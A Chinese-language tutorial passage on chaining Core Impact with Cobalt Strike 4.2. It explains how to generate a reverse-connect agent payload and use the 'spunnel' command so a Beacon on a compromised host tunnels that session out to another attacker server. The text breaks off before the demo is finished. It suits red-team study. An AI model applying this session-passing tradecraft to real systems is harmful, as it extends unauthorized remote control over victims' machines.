联动Core impact

前言

Core impact官网：https://www.coresecurity.com/products/core-impact （顺带一提收购cobalt strike的就是这家公司）

还是稍微简单介绍一下Core impact吧，Core impact简单来说就是一款商业渗透测试工具，它不同于普通的RAT，它更像MSF，自身带有很多exp模块，又和ExploitPack有些相似，不过ExploitPack自身RAT属性不强可以说是单纯的EXP集成平台包括漏洞利用，漏洞开发，调试一体。

但是我个人认为Core impact本身还是有些不足比如不跨平台（自身采用MFC开发模块则是python开发，通过python和C++混合编程，利用boost.python实现运行python模块），二是我感觉它RAT通讯这方面还有待加强，比较不错的是内网渗透中各种常用的功能确实集成的挺不错，二是对渗透过程中收集的各种信息有一定的整合和处理这点挺好。（我个人认为在渗透过程中对信息的收集和处理尤为重要，团队应该拥有一套自己的信息整合平台，用来处理在渗透过程中收集到的各类信息）

好了废话不多说了开始正题吧（安装什么的不提了）

正题

打开后你要先创建一个工作空间，输入项目名称和密码

创建完项目后要想联动CS你可以直接使用Core impact生成一个shellcode然后让CS使用shspawn命令直接注入shellcode进行派生会话。不过这里还是使用CS4.2专门为第三方工具提供一个功能吧（spunnel和spunnel_local 注：这两个命令为4.2新增命令）

这两个命令的作用其实都差不多，都是在目标机上绑定一个端口并将此端口的流量通过Beacon转发出来，比如我们msf生成一个x86 tcp payload指定连接ip是127.0.0.1端口是9090并且MSF开启监听，然后在cs上执行

spunnel x86 msf_ip 9090 msf_raw.bin

这样一来Beacon会在目标机本地监听9090端口等待msf payload连接，然后Beacon会通过Cobalt Strike服务端(运行teamserver的机器)将流量转发到msf_ip的9090端口上。简单说一句话就是目标机本地9090端口的流量从CS服务端出到达MSF的9090端口。spunnel_local命令和spunnel命令并没有太大区别只不过spunnel_local命令的流量不是从CS服务端出而是从CS客户端出。

实际演示一下

首先使用Core impact选择执行Package and Register Agent模块来生成一个payload

连接模式：connect from target（反向连接），端口：9090，连接地址：127.0.0.1，这样生成的payload到时候会连接目标机器本地的9090端口，而刚好我的Beacon会对9090端口进行监听转发

CS执行